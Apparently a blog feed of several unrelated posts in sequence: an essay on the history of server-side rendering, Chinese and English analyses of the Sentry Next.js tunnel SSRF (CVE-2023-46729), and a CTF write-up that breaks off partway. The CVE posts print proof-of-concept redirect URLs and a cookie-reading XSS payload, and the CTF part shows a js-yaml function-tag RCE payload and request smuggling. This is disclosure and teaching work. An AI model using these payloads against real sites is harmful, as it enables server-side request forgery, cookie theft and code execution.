Keyword search trends to some extent represent the popularity of certain technical terms at the time. From the graph below, we can see that the term “SPA” started to climb around 2011 and 2012, which aligns with my speculation (although this data may not be very accurate, I couldn’t think of a better source at the moment):
(As for the peak in 2004 and 2005, I don’t know, but I’m curious to find out. Maybe it’s related to the popularity of various Google services? If anyone has any clues, feel free to message or comment to discuss.)
The rest of the story is more familiar. React was officially released in May 2013, followed by Vue in February 2014. With the rise of frontend frameworks, SPA became increasingly popular and eventually became the mainstream approach to frontend development today.
From the history of development mentioned above, it is clear that Backbone.js and AngularJS were the pioneers that ushered in the era of SPAs. But how did they solve the CSR problem, such as SEO?
Let’s start with AngularJS. I found a project on GitHub from 2013: angular-on-server. In the project’s wiki introduction, it states:
We need to pre-render pages on the server for Google to index. We don’t want to have to repeat ourselves on the back end. I found a few examples of server-side rendering for Backbone applications, but none showing how to do it with AngularJS. To make this work I have modified a couple of Node modules, jsdom and xmlhttprequest. They are loaded from local subdirectories (/jsdom-with-xmlhttprequest and /xmlhttprequest).
If this is true, it means that AngularJS had limited SSR solutions at that time, with most solutions being based on Backbone.js.
Based on the information I found, it seems to be the case. For example, this question from 2013: AngularJS - server-side rendering. From the answers, it is evident that there were indeed limited solutions available.
AngularJS officially supported SSR only in late June 2015, as mentioned in this presentation: Angular 2 Server Rendering. A few days after the presentation, they open-sourced Universal Angular 2, which is the predecessor of Angular Universal.
In the README at that time, it stated:
Universal (isomorphic) JavaScript support for Angular 2
The term “isomorphic” should bring back memories for many people, but we’ll discuss that later. Now, let’s see how Backbone.js solved the SPA problem.
I found an ancient example on GitHub from 2011: Backbone-With-Server-Side-Rendering. The README states:
Backbone.js is a great tool for organizing your javascript code into models, collections, and views, without tying your data to the DOM elements. However, most tutorials show how to render the HTML only via Backbone (client-side), which means that none of your content is crawled by search engines. This is possibly a major problem if you’re not making an app hidden behind an authentication system.
The unique thing about this project is that SSR (Server-Side Rendering) is implemented through Ruby on Rails. However, after examining the source code, it seems more like an experimental project. The HTML is outputted by the backend and then handled by Backbone.js on the frontend. It is a simple example rather than a complete demo.
If you want a more complete solution, the one to consider is Rendr, which was open-sourced by Airbnb in 2013.
On January 30, 2013, Airbnb’s tech blog published a new article titled Our First Node.js App: Backbone on the Client and Server. It discusses the issues with Single Page Applications (SPAs) and the challenge of integrating logic on both the frontend and backend. The ultimate solution presented in the article is the Rendr package, which allows executing Backbone.js on the server.
The open-sourcing of Rendr was announced in an article three months later, titled We’ve open sourced Rendr: Run your Backbone.js apps in the browser and Node.js. It states:
Many developers shared the same pain points with the traditional client-side MVC approach: poor pageload performance, lack of SEO, duplication of application logic, and context switching between languages.
This indicates that many developers at that time were aware of the issues with SPAs and were seeking a more comprehensive solution.
To execute Backbone.js on the server, a prerequisite is that the server must be able to run JavaScript.
Node.js was released in 2009, and Express came out at the end of 2010, while NPM was introduced in 2011. By mid-2012, Node.js was still at version v0.8.0, which was an early stage. Looking back now, Node.js started to be widely used around 2012-2013.
In summary, based on the information I found, the library that was perhaps widely used for SSR earliest was Rendr, introduced in 2013. It can achieve the following: “rendering on the server-side initially, but then taken over by JavaScript on the client-side,” as mentioned in Airbnb’s article:
Your great new product can run on both sides of the wire, serving up real HTML on first pageload, but then kicking off a client-side JavaScript app. In other words, the Holy Grail.
The image below illustrates the so-called Holy Grail, taken from Airbnb’s original article:
When it comes to this point, let’s organize the timeline and my personal speculation.
Since the release of Backbone.js at the end of 2010, SPA (Single Page Application) has gradually become popular, and people have also realized the problems encountered in front-end rendering. Therefore, they started to implement different solutions, which is server-side rendering.
Backbone.js continued until 2013 when Airbnb open-sourced Rendr, finally providing an ideal solution: “initial rendering on the server-side, and subsequent rendering on the client-side, with both client and server sharing the same codebase.”
The concept of “running the same code on both the client and the server” is what was mentioned earlier as isomorphic.
By the way, Ember.js’s official SSR (Server-Side Rendering) solution should be this one at the end of 2014: Inside FastBoot: The Road to Server-Side Rendering
One more thing to mention, according to the article The History of React.js on a Timeline, FaxJS is the predecessor of React, and when it was open-sourced at the end of 2011, it already had an API for server-side rendering, which could render components into static HTML and reattach events on the client-side: https://github.com/jordwalke/FaxJs/tree/5962e3a7268fc4fe0251631ec9d874f0c0f52b66#optional-server-side-rendering
The term “Isomorphic JavaScript” comes from an article published by Charlie Robbins on October 18, 2011: Scaling Isomorphic Javascript Code
The article defines Isomorphic as follows:
Javascript is now an isomorphic language. By isomorphic we mean that any given line of code (with notable exceptions) can execute both on the client and the server.
More details can be found in an article published by Airbnb on November 12, 2013: Isomorphic JavaScript: The Future of Web Apps
The article also includes a practical example that is worth referring to: isomorphic-tutorial.
In addition, the article mentions three predecessors of Isomorphic JavaScript before Rendr. One of them is Mojito, open-sourced by Yahoo! in 2012. The article mentions a beautiful imagination:
Imagine a framework where the first page-load was always rendered server-side, and desktop browsers subsequently just made calls to API endpoints returning JSON or XML, and the client only rendered the changed portions of the page.
It is basically the current mainstream way of working in front-end development.
Another one is Meteor.js, and the third one is Asana’s Luna. Luna is quite interesting, and upon closer inspection, its syntax has a bit of a React flavor.
The term “Isomorphic” was gradually replaced by “Universal” after Michael Jackson’s article in 2015: Universal JavaScript.
This article mainly suggests that “Universal” better expresses the original intention and is easier for the audience to understand. Therefore, it advocates using “Universal JavaScript” instead of “Isomorphic JavaScript”.
Up to this point, I have answered a few of my previous questions:
Q: Was the term SSR really not used much before the popularity of SPA and CSR? If so, when did it start?
I’m not sure because I didn’t specifically search for earlier evidence. However, if we look at the search trend for the term SSR, it started to take off around 2012-2013, which is around the same time as the popularity of SPA.
Q: My understanding of SSR basically started with React. Does that mean earlier frameworks like Angular, Ember, or even Backbone didn’t have this issue? If they did, what was their solution called?
They had the same issue, and the solution was also called SSR.
To be honest, discussing the precise definition of the term SSR doesn’t have much significance. It can be a bit nitpicky, and it’s difficult to reach a conclusion or convince others that “this definition is correct.” The key is to ensure that both parties have a consistent understanding during communication.
When talking about SSR, many people only focus on the SEO aspect, but if we think a bit more carefully, SSR is needed for more than just SEO.
SSR aims to solve the problems caused by CSR, including:
If CSR is used, since the UI is generated through JavaScript, search engines will only crawl blank HTML. Even if Google executes JavaScript, other search engines may not. Even if all search engines execute JavaScript, you can’t guarantee that the crawled results will be what you want.
For example, it’s difficult to know when they will finish executing JavaScript. If the API for fetching data takes two seconds to respond, and the search engine only waits for one second after executing JavaScript, the result will still be empty.
Link previews on social platforms are another problem. The <meta>
tags generated on the client side are not useful. Usually, the bots of these social platforms don’t execute JavaScript; they only look at the response. Therefore, the <meta>
tags on CSR pages can only be the same and cannot dynamically determine the content based on different pages.
The third and fourth points can be considered together. Although modern devices generally run fast and can execute JavaScript quickly, in cases where the JavaScript is large and the device is older, executing JavaScript still takes some time.
When will the user see the UI of a CSR page? They need to download the JavaScript first, and after downloading, it needs to be executed. After executing and updating the DOM, the user can see the complete UI. During the waiting period, the screen is blank. Although some websites show a loading indicator, the overall user experience is not very good.
If we can get the UI in the initial response, the user experience will be better, and performance will increase. Even on older devices, users can see the UI from the beginning without waiting for JavaScript to finish executing.
Originally, I only wanted to write this paragraph, but unexpectedly, it turned into a historical archaeology of front-end development.
In response to the problems caused by CSR mentioned earlier, various solutions have emerged. Each solution is different, and not all problems can be solved at once.
This solution only solves the problems of SEO and link previews. When the server receives a request from a search engine or a bot from a social platform, it directly uses the original backend template to output the result.
Like this:
const express = require('express');const app = express();app.get('/games/:id', (req, res) => { const userAgent = req.headers['user-agent']; // Check user agent if (userAgent.includes('Googlebot')) { // render the SEO template for the bot const game = API.getGame(req.params.id); res.send(` <html> <head> <title>${game.title}</title> <meta name="description" content="${game.desc}"> </head> <body> <h1>${game.title}</h1> <p>${game.desc}</p> </body> </html> `); } else { // return index.html for regular users res.sendFile(__dirname + '/public/index.html'); }});app.listen(3000, () => { console.log('Server is running on port 3000');});
For regular users, the issues of performance and user experience are still not resolved. This solution only addresses SEO and link preview, ensuring that the web page captured by these bots has data.
I have implemented this approach in my work, and the advantages are that it is simple, fast, and does not interfere with SPA. The disadvantage is that the page seen by the Google bot may be different from what the user sees, which could potentially affect SEO scores. After all, outputting special pages for the Google bot is considered an anti-pattern called cloaking, as mentioned in Google’s official video: Can we serve Googlebot a different page with no ads?. It is recommended to have the exact same page.
However, compared to not showing anything to the Google bot, this solution is still better.
The most well-known framework for this approach is Prerender. In simple terms, it uses a headless browser like Puppeteer on the server-side to open your page and execute JavaScript, then saves the result as HTML.
When the search engine requests data, this HTML is served, so both users and bots see the same content.
I tried it locally and created a simple page using create-react-app:
import logo from './logo.svg';import './App.css';import { useState, useEffect } from 'react'function App() { console.log('render') const [data, setData] = useState([]); useEffect(() => { document.querySelector('title').textContent = 'I am new title' fetch('https://cat-fact.herokuapp.com/facts/').then(res => res.json()) .then(a => { setData(a); }) }, []) function test() { alert('click') } return ( <div className="App"> <header className="App-header"> <img src={logo} className="App-logo" alt="logo" /> {data && data.map(item => ( <div>{item.text}</div> ))} <a className="App-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer" > Learn React Can you see me now? </a> <button onClick={test}>hello</button> </header> </div> );}export default App;
The main points I wanted to test were:
After prerendering, the output HTML is:
<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <link rel="icon" href="http://localhost:5555/favicon.ico"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="theme-color" content="#000000"> <meta name="description" content="Web site created using create-react-app"> <link rel="apple-touch-icon" href="http://localhost:5555/logo192.png"> <link rel="manifest" href="http://localhost:5555/manifest.json"> <title>I am new title</title> <script defer="defer" src="http://localhost:5555/static/js/main.21981749.js"></script> <link href="http://localhost:5555/static/css/main.f855e6bc.css" rel="stylesheet"> </head> <body> <noscript>You need to enable JavaScript to run this app.</noscript> <div id="root"> <div class="App"> <header class="App-header"> <img src="/static/media/logo.6ce24c58023cc2f8fd88fe9d219db6c6.svg" class="App-logo" alt="logo"> <div>When asked if her husband had any hobbies, Mary Todd Lincoln is said to have replied "cats."</div> <div>Cats make about 100 different sounds. Dogs make only about 10.</div> <div>Owning a cat can reduce the risk of stroke and heart attack by a third.</div> <div>Most cats are lactose intolerant, and milk can cause painful stomach cramps and diarrhea. It's best to forego the milk and just give your cat the standard: clean, cool drinking water.</div> <div>It was illegal to slay cats in ancient Egypt, in large part because they provided the great service of controlling the rat population.</div> <a class="App-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer">Learn React Can you see me now?</a> <button>hello</button> </header> </div> </div> </body></html>
The title has changed, and the content is the result of executing useEffect()
and rendering after the fetch
operation. Clicking the button can also trigger events, so there don’t seem to be any issues.
If we take a closer look, the rendering process of the prerendered page is similar to a normal React app. The only difference is that the original HTML already contains content, but React still executes once and re-renders the entire page.
Therefore, the following situation occurs:
useEffect
, and makes another API call to fetch data.This approach still targets search engines only. The difference from the first approach is that the page seen by users and search engines will be more similar, but still not exactly the same. After all, regular users will see a page with no content.
Can we show the prerendered page to regular users?
Yes, it is possible, but it may be a bit strange if there is an API involved. As mentioned earlier, the initial state has no data, but the HTML does. Therefore, the page seen by users will be: Has data (due to prerendered HTML) => No data (state initialization) => Has data (API call on the client). This may not provide a good user experience, so it is usually not done.
The advantage of this approach is that it is convenient. It does not require modifying the original SPA; only a middleware needs to be added on the server-side. However, the implementation is more complex compared to the first approach, and there are many details to consider.
This is the type that has been mentioned before: “generating the initial HTML on the server and handing over subsequent operations to the client.” Compared to the previous two types, this is the more ideal SSR and is commonly known as Isomorphic/Universal.
This approach not only solves the SEO problem but also addresses the user experience. When a user visits the website, they can immediately see the rendered result. However, at this point, the page may not be interactive because the JavaScript has not finished executing. It is necessary to wait for the JavaScript to complete execution and attach event handlers before the page can be truly interactive.
Additionally, since the initial page has already been rendered on the server, there is usually no need to modify the DOM again on the client side. Only attaching the event handlers is required, and this process is called hydration.
I find this term quite visually descriptive. Imagine that the page output by SSR is “dehydrated,” very flat and dry, with only the visual elements. It cannot be interacted with. When it reaches the client, it needs to inject water into this dry page, add event handlers, and bring the whole page to life, making it interactive.
However, the drawback of this solution is that it is more complex to implement. One needs to consider API-related issues. For example, if an API call is placed inside a useEffect
, it cannot be executed during server rendering, resulting in a page without any data.
Therefore, it may be necessary to add a function to fetch data for each page, store it in props, and correctly output a page with data during server-side rendering.
Due to its complexity, this task is usually delegated to frameworks like Next.js, which adopts the approach I mentioned earlier (Pages Router) and adds a getServerSideProps
function to the page.
By the way, the first version of Next.js was released on October 25, 2016.
This is a specialized form of SSR tailored for specific product scenarios. The third type mentioned earlier involves rendering for each request, generating the initial page. However, if your page is the same for every user (e.g., the company introduction on an official website), there is no need to do this at runtime; it can be done at build time.
Therefore, one approach is to render the page during the build process, resulting in much faster speed.
This method is referred to as Static Site Generation (SSG) in Next.js.
Let’s summarize the four types mentioned earlier:
Different documents use different names for these types. Let’s take a look at a few examples.
The first document is from web.dev: Rendering on the Web. At the end of the article, there is a spectrum:
The first type is not specifically mentioned, the second type is more like “CSR with Prerendering,” but not exactly, the third type is “SSR with (Re)hydration,” and the fourth type is “Static SSR.”
According to this article, the definition of SSR is:
Server-side rendering (SSR): rendering a client-side or universal app to HTML on the server.
So, the first type, which does not render the client-side app on the server, should not be considered as SSR.
The second document is from the official Next.js documentation: Building Your Application - Rendering.
Here, the third type is referred to as SSR, and the fourth type is called SSG. The definition here is slightly different again. It refers to the process of “generating SPA HTML on the server” as pre-rendering:
By default, Next.js pre-renders every page. This means that Next.js generates HTML for each page in advance, instead of having it all done by client-side JavaScript. Pre-rendering can result in better performance and SEO.
And SSR specifically refers to “generating HTML for each request” to differentiate it from SSG.
Let’s start with Nuxt.js: link
In the documentation, the third type is referred to as “Universal Rendering,” which I think is a good term:
To not lose the benefits of the client-side rendering method, such as dynamic interfaces and page transitions, the Client (browser) loads the JavaScript code that runs on the Server in the background once the HTML document has been downloaded. The browser interprets it again (hence Universal rendering) and Vue.js takes control of the document and enables interactivity.
As for the definition of SSR, it doesn’t seem to be explicitly stated, but based on the following sentence:
This step is similar to traditional server-side rendering performed by PHP or Ruby applications.
It should be anything that involves “rendering on the server” can be called SSR.
Now let’s look at Angular: link
Their definition of SSR is:
Server-side rendering (SSR) is a process that involves rendering pages on the server, resulting in initial HTML content which contains initial page state.
This definition seems similar to the previous one, as long as it involves “rendering pages on the server,” it can be called SSR.
Now that I’ve written up to this point, I have some thoughts on SSR.
To be honest, I think I may have initially made the problem more complicated. SSR simply refers to “rendering on the server,” so as long as it meets this requirement, it can indeed be called SSR.
Originally, I only intended to write about the different SSR solutions mentioned earlier, but before I started writing, I became curious about the definition of SSR, which led to the introductory paragraphs exploring its history.
What’s more important is whether we can answer the questions of what problems SSR aims to solve, how to solve them, and the pros and cons of each solution. Not every webpage requires Next.js to achieve SSR; we should choose the appropriate technology based on the context.
Next, let’s talk about the present and the future.
The third solution we mentioned earlier seems perfect, right? It allows us to render the page on the server, solving the performance issues related to SEO and first paint, while also enabling client-side hydration for a SPA-like experience.
However, there are still areas for continuous improvement.
We briefly mentioned a small issue with hydration earlier, where until hydration is complete, although the page is visible, it is not interactive. For example, typing in an input may not have any response because the event handler hasn’t been attached yet or the component hasn’t finished rendering.
So, what can we do about this? Another term comes into play: Progressive Hydration. Instead of hydrating the entire page at once, we can do it block by block, prioritizing the more important ones. This way, users can interact immediately after the important blocks are hydrated, and then the less important blocks can be hydrated.
Furthermore, you may notice that certain sections of a webpage don’t need hydration at all because they are static, such as a footer that remains the same throughout. In such cases, we can use another technique called Selective Hydration to pre-render the non-hydratable sections.
In 2019, Katie Sylor-Miller, the frontend architect at Etsy, proposed the Islands Architecture, which views a webpage as composed of different islands:
The above image illustrates the concept of selective hydration that was just discussed. When we adopt this architecture and combine it with selective hydration and other techniques, we can render faster and achieve better performance.
For example, Astro uses this architecture, where the entire page is static and only the interactive parts are separated into individual islands:
<MyReactComponent client:load />
React is also moving in this direction with server components, which is quite similar. By dividing the page into server and client components and determining which ones require state and which ones don’t, we can directly render the unnecessary components on the server and send them to the client, while maintaining the previous approach for the required components.
This approach does indeed accelerate web pages, but at the same time, development becomes more complex. There are more things to consider, and debugging becomes less convenient. I will share some insights and details in a future article.
I personally started exploring various frontend tools relatively late. Excluding the early days of using FrontPage or Dreamweaver, I began writing jQuery around 2012. Then, I observed the development of various frontend technologies but didn’t actually work with them. I had considered learning AngularJS (which was popular at the time) and Ember.js, but I was lazy.
It wasn’t until 2015 that I started working with React when it was just starting to gain popularity in Taiwan.
So, I didn’t participate in the era of Backbone.js and similar technologies. While writing this article, I researched a lot of information, which was quite interesting. It helped me fill in the gap of that period in history that I missed.
During my research, I also discovered that Yahoo! was truly a pioneer in frontend web development. For example, Atomic CSS originated from Yahoo!, and I also found out that Yahoo! was already using a Universal JavaScript web framework back in 2012.
If you have a different perspective on SSR or feel that I have misunderstood the historical context, feel free to write a new article to discuss it with me. After all, some concepts cannot be explained in a few words, and writing an article provides a more comprehensive explanation. Alternatively, we can also discuss it through comments.
雖然說是在 11/9 正式對外發布漏洞公告,但漏洞其實在 10/31 發佈的 7.77.0 版本已經修復了,有預留一些時間給開發者們來修補漏洞。
接著就來簡單講一下這個漏洞的成因以及攻擊方式。
在 GitHub 上面也有一個比較偏技術的說明:CVE-2023-46729: SSRF via Next.js SDK tunnel endpoint
可以看到這一段:
An unsanitized input of Next.js SDK tunnel endpoint allows sending HTTP requests to arbitrary URLs and reflecting the response back to the user.
在 Sentry 裡面,有一個叫做 tunnel 的功能,這張來自於官方文件的圖完美地解釋了為什麼需要 tunnel:
如果沒有 tunnel 的話,送給 Sentry 的請求會在前端直接透過瀏覽器發送,而這些直接發給 Sentry 的請求可能會被一些 ad blocker 擋住,Sentry 就沒辦法接收到數據。若是有開啟 tunnel,就會變成先將請求發送給自己的 server,再從自己的 server 轉發給 Sentry,這樣就變成了 same-origin 的請求,便不會被 ad blocker 擋住。
在專門提供給 Next.js 使用的 Sentry SDK 中,是用了一個叫做 rewrite 的功能,官方範例如下:
module.exports = { async rewrites() { return [ { source: '/blog', destination: 'https://example.com/blog', }, { source: '/blog/:slug', destination: 'https://example.com/blog/:slug', // Matched parameters can be used in the destination }, ] },}
Next.js 的 rewrite 基本上可以分為兩種,internal 跟 external,後者的話其實更像是 proxy 的感覺,可以直接把請求導向到外部網站,然後顯示出 response。
Next.js Sentry SDK 的實作在 sentry-javascript/packages/nextjs/src/config/withSentryConfig.ts:
/** * Injects rewrite rules into the Next.js config provided by the user to tunnel * requests from the `tunnelPath` to Sentry. * * See https://nextjs.org/docs/api-reference/next.config.js/rewrites. */function setUpTunnelRewriteRules(userNextConfig: NextConfigObject, tunnelPath: string): void { const originalRewrites = userNextConfig.rewrites; // This function doesn't take any arguments at the time of writing but we future-proof // here in case Next.js ever decides to pass some userNextConfig.rewrites = async (...args: unknown[]) => { const injectedRewrite = { // Matched rewrite routes will look like the following: `[tunnelPath]?o=[orgid]&p=[projectid]` // Nextjs will automatically convert `source` into a regex for us source: `${tunnelPath}(/?)`, has: [ { type: 'query', key: 'o', // short for orgId - we keep it short so matching is harder for ad-blockers value: '(?<orgid>.*)', }, { type: 'query', key: 'p', // short for projectId - we keep it short so matching is harder for ad-blockers value: '(?<projectid>.*)', }, ], destination: 'https://o:orgid.ingest.sentry.io/api/:projectid/envelope/?hsts=0', }; if (typeof originalRewrites !== 'function') { return [injectedRewrite]; } // @ts-expect-error Expected 0 arguments but got 1 - this is from the future-proofing mentioned above, so we don't care about it const originalRewritesResult = await originalRewrites(...args); if (Array.isArray(originalRewritesResult)) { return [injectedRewrite, ...originalRewritesResult]; } else { return { ...originalRewritesResult, beforeFiles: [injectedRewrite, ...(originalRewritesResult.beforeFiles || [])], }; } };}
其中的重中之重就是這一段:
const injectedRewrite = { // Matched rewrite routes will look like the following: `[tunnelPath]?o=[orgid]&p=[projectid]` // Nextjs will automatically convert `source` into a regex for us source: `${tunnelPath}(/?)`, has: [ { type: 'query', key: 'o', // short for orgId - we keep it short so matching is harder for ad-blockers value: '(?<orgid>.*)', }, { type: 'query', key: 'p', // short for projectId - we keep it short so matching is harder for ad-blockers value: '(?<projectid>.*)', }, ], destination: 'https://o:orgid.ingest.sentry.io/api/:projectid/envelope/?hsts=0',};
會根據 query string 中的 o
跟 p
,決定最後要重新導向的 URL。
而這邊的問題是這兩個參數的 regexp 都用了 .*
,也就是說會配對到任何字元,換句話說,底下這個網址:
https://huli.tw/tunnel?o=abc&p=def
會 proxy 到:
https://oabc.ingest.sentry.io/api/def/envelope/?hsts=0
看起來沒什麼問題,但如果是這樣呢?
https://huli.tw/tunnel?o=example.com%23&p=def
%23
是 #
URL encode 後的結果,最後就會 proxy 到:
https://oexample.com#.ingest.sentry.io/api/def/envelope/?hsts=0
我們利用了 #
來把原本的 hostname 都當成 hash 的一部分,並且成功更改了 proxy 的目的地。但最前面那個 o 還是有點煩人,不如把它一起消除掉吧!只要在最前面加個 @
就行了:
https://huli.tw/tunnel?o=@example.com%23&p=def
會變成:
https://o@example.com#.ingest.sentry.io/api/def/envelope/?hsts=0
如此一來,攻擊者就可以利用 o 這個參數更改 proxy 的目的地,將 request 導向至任何地方。剛剛有說過這個 rewrite 功能會將 response 直接回傳,所以當使用者瀏覽:https://huli.tw/tunnel?o=@example.com%23&p=def
的時候,看到的 response 會是 example.com
的結果。
也就是說,如果攻擊者把請求導向至自己的網站,就可以輸出 <script>alert(document.cookie)</script>
,就變成了一個 XSS 漏洞。
若是攻擊者不是導到自己的網站,而是導向到其他內部的網頁如 https://localhost:3001
之類的,就是一個 SSRF 的漏洞(但目標必須支援 HTTPS 就是了)。
至於修復方式的話也很簡單,只要對 regexp 做出一些限制即可,最後 Sentry 是調整成只允許數字:
{ type: 'query', key: 'o', // short for orgId - we keep it short so matching is harder for ad-blockers value: '(?<orgid>\\d*)',},
7.77.0 版本以及之後的版本都已經修復了這個問題。
這個漏洞真的滿簡單而且滿好重現的,只需要找到修復的 commit,看兩眼程式碼大概就能知道怎麼攻擊。
總之呢,在做 URL rewrite 的時候真的必須謹慎一點,不然還滿容易出問題的(尤其是你不只是 rewrite path,而是 rewrite 整個 URL)。
]]>Although the vulnerability was officially announced on 11/9, it was actually fixed in version 7.77.0 released on 10/31. Some time was given to developers to patch the vulnerability.
Now let’s briefly discuss the cause and attack method of this vulnerability.
There is also a more technical explanation on GitHub: CVE-2023-46729: SSRF via Next.js SDK tunnel endpoint
You can see this paragraph:
An unsanitized input of Next.js SDK tunnel endpoint allows sending HTTP requests to arbitrary URLs and reflecting the response back to the user.
In Sentry, there is a feature called “tunnel,” and this image from the official documentation perfectly explains why tunneling is needed:
Without tunneling, requests sent to Sentry would be directly sent through the browser on the frontend. However, these requests sent directly to Sentry may be blocked by ad blockers, preventing Sentry from receiving the data. If tunneling is enabled, the request is first sent to the user’s own server and then forwarded to Sentry. This way, the request becomes a same-origin request and will not be blocked by ad blockers.
In the Sentry SDK specifically designed for Next.js, a feature called rewrite is used. Here is an example from the official documentation:
module.exports = { async rewrites() { return [ { source: '/blog', destination: 'https://example.com/blog', }, { source: '/blog/:slug', destination: 'https://example.com/blog/:slug', // Matched parameters can be used in the destination }, ] },}
Next.js rewrite can be divided into two types: internal and external. The latter is more like a proxy, as it can directly redirect the request to an external website and display the response.
The implementation of the Next.js Sentry SDK is in sentry-javascript/packages/nextjs/src/config/withSentryConfig.ts:
/** * Injects rewrite rules into the Next.js config provided by the user to tunnel * requests from the `tunnelPath` to Sentry. * * See https://nextjs.org/docs/api-reference/next.config.js/rewrites. */function setUpTunnelRewriteRules(userNextConfig: NextConfigObject, tunnelPath: string): void { const originalRewrites = userNextConfig.rewrites; // This function doesn't take any arguments at the time of writing but we future-proof // here in case Next.js ever decides to pass some userNextConfig.rewrites = async (...args: unknown[]) => { const injectedRewrite = { // Matched rewrite routes will look like the following: `[tunnelPath]?o=[orgid]&p=[projectid]` // Nextjs will automatically convert `source` into a regex for us source: `${tunnelPath}(/?)`, has: [ { type: 'query', key: 'o', // short for orgId - we keep it short so matching is harder for ad-blockers value: '(?<orgid>.*)', }, { type: 'query', key: 'p', // short for projectId - we keep it short so matching is harder for ad-blockers value: '(?<projectid>.*)', }, ], destination: 'https://o:orgid.ingest.sentry.io/api/:projectid/envelope/?hsts=0', }; if (typeof originalRewrites !== 'function') { return [injectedRewrite]; } // @ts-expect-error Expected 0 arguments but got 1 - this is from the future-proofing mentioned above, so we don't care about it const originalRewritesResult = await originalRewrites(...args); if (Array.isArray(originalRewritesResult)) { return [injectedRewrite, ...originalRewritesResult]; } else { return { ...originalRewritesResult, beforeFiles: [injectedRewrite, ...(originalRewritesResult.beforeFiles || [])], }; } };}
The crucial part is this section:
const injectedRewrite = { // Matched rewrite routes will look like the following: `[tunnelPath]?o=[orgid]&p=[projectid]` // Nextjs will automatically convert `source` into a regex for us source: `${tunnelPath}(/?)`, has: [ { type: 'query', key: 'o', // short for orgId - we keep it short so matching is harder for ad-blockers value: '(?<orgid>.*)', }, { type: 'query', key: 'p', // short for projectId - we keep it short so matching is harder for ad-blockers value: '(?<projectid>.*)', }, ], destination: 'https://o:orgid.ingest.sentry.io/api/:projectid/envelope/?hsts=0',};
It determines the final URL to redirect to based on the o
and p
query string parameters.
The problem here is that both of these parameters use the .*
regular expression, which matches any character. In other words, for the following URL:
https://huli.tw/tunnel?o=abc&p=def
It will proxy to:
https://oabc.ingest.sentry.io/api/def/envelope/?hsts=0
It looks fine, but what if it’s like this?
https://huli.tw/tunnel?o=example.com%23&p=def
%23
is the URL-encoded result of #
. It will be proxied to:
https://oexample.com#.ingest.sentry.io/api/def/envelope/?hsts=0
We use #
to include the original hostname as part of the hash and successfully change the destination of the proxy. However, the leading o
is a bit annoying. Let’s get rid of it by adding @
at the beginning:
https://huli.tw/tunnel?o=@example.com%23&p=def
It becomes:
https://o@example.com#.ingest.sentry.io/api/def/envelope/?hsts=0
In this way, an attacker can use the o
parameter to change the destination of the proxy and redirect the request anywhere. As mentioned earlier, this rewrite feature directly returns the response. So when a user visits https://huli.tw/tunnel?o=@example.com%23&p=def
, they will see the response of example.com
.
In other words, if an attacker redirects the request to their own website, they can output <script>alert(document.cookie)</script>
, turning it into an XSS vulnerability.
If the attacker redirects the request to other internal web pages like https://localhost:3001
, it becomes an SSRF vulnerability (but the target must support HTTPS).
As for the fix, it’s simple. Just add some restrictions to the regex. Finally, Sentry adjusted it to only allow digits:
{ type: 'query', key: 'o', // short for orgId - we keep it short so matching is harder for ad-blockers value: '(?<orgid>\\d*)',},
This issue has been fixed in version 7.77.0 and later.
This vulnerability is really simple and easy to reproduce. Just find the fix commit and take a look at the code to understand how to exploit it.
In summary, when doing URL rewriting, you really need to be cautious, as it’s easy to encounter issues (especially when you’re not just rewriting the path but the entire URL).
]]>關鍵字列表:
最近好像很少看到每一題都低於 10 組解出來的 web 題了,上次有這種整場比賽幾乎都是 hard web 可能是 DiceCTF 吧?不過我覺得難度是其次,好玩有趣有學到新東西才是重點,而這些題目在我看來很顯然有做到這點。
先附上兩位作者的 writeup,底下提到作者 writeup 就不額外附連結了:
兩個作者的 writeup 都寫得很詳細,我這邊只是看完之後記錄一些重點而已。
這題有兩個 server,node.js 跟 nim,基本上大部分功能都是在 nim server 實現的,你可以登入、註冊以及修改密碼,而使用者的資料會存在 yaml 檔案裡面,目標是要達成 RCE。
第一個洞是 request smuggling,Node.js 接受 Transfer-Encoding: CHUNKED
但是 Nim 只看 chunk
,可以利用這個差異來達成走私的目的。
但走私之後能幹嘛呢?
第二個洞是 Nim 對於 JSON 的行為,先把一個欄位設成很大的數字,Nim 會把它當作是一個 RawNumber,在更新的時候就會不帶引號,可以利用這點來達成 JSON injection。
第三個洞是有了 JSON injection 之後就可以利用 js-yaml 的功能創造出一個有 JS function 的物件,最後利用這個物件會在渲染時呼叫 toString,就達成 RCE 了。
大概會像這樣:
privilegeLevel: { toString: !<tag:yaml.org,2002:js/function> "function (){console.log('hi')}"}access: {'profile': true, register: true, login: true}
喔對了,還有一個洞是 Nim 的檔案讀取,檔名的部分可以用 null byte 截斷:test.yaml\u0000
這題很有趣!
簡單來講就是把你的程式碼丟到 worker 裡面去執行,在 worker 裡面有做一些防護措施,讓你不能存取到 globalThis。就算在 worker 取得了 XSS,從 worker 唯一能做的事情就是往 main thread postMessage,但是結果會經過 setHTML
,被瀏覽器的 Sanitizer API 給過濾掉。
worker 的 sandbox 滿有趣的,大概像是這樣:
function allKeys(obj) { let keys = [] while (obj !== null) { keys = keys.concat(Object.getOwnPropertyNames(obj)) keys = keys.concat(Object.keys(Object.getOwnPropertyDescriptors(obj))) obj = Object.getPrototypeOf(obj) } return [...new Set(keys)]}function hardening() { const fnCons = [function () {}, async function () {}, function* () {}, async function* () {}].map( f => f.constructor ) for (const c of fnCons) { Object.defineProperty(c.prototype, 'constructor', { get: function () { throw new Error('Nope') }, set: function () { throw new Error('Nope') }, configurable: false }) } const cons = [Object, Array, Number, String, Boolean, Date, RegExp, Promise, Symbol, BigInt].concat(fnCons) for (const c of cons) { Object.freeze(c) Object.freeze(c.prototype) }}const code = `console.log(1)`const argNames = allKeys(globalThis)const fn = Function(...argNames, code)const callUserFn = t => { try { fn.apply(Object.create(null)) } catch (e) { console.error('User function error', e) } return true}// hardeninghardening()callUserFn()
argNames 是搜集所有 global 能存取到的東西的名稱,這樣就可以把所有東西的名稱都當作是函式的參數丟進去,大概就像是底下這種感覺:
function run(console, Object, String, Number, fetch,...) { }
於是你不管拿到什麼都會是 undefined
,在呼叫時 this 也傳入了 Object.create(null)
,所以沒辦法輕易跳出來。
Maple 的預期解是利用 try catch 加上錯誤去拿:
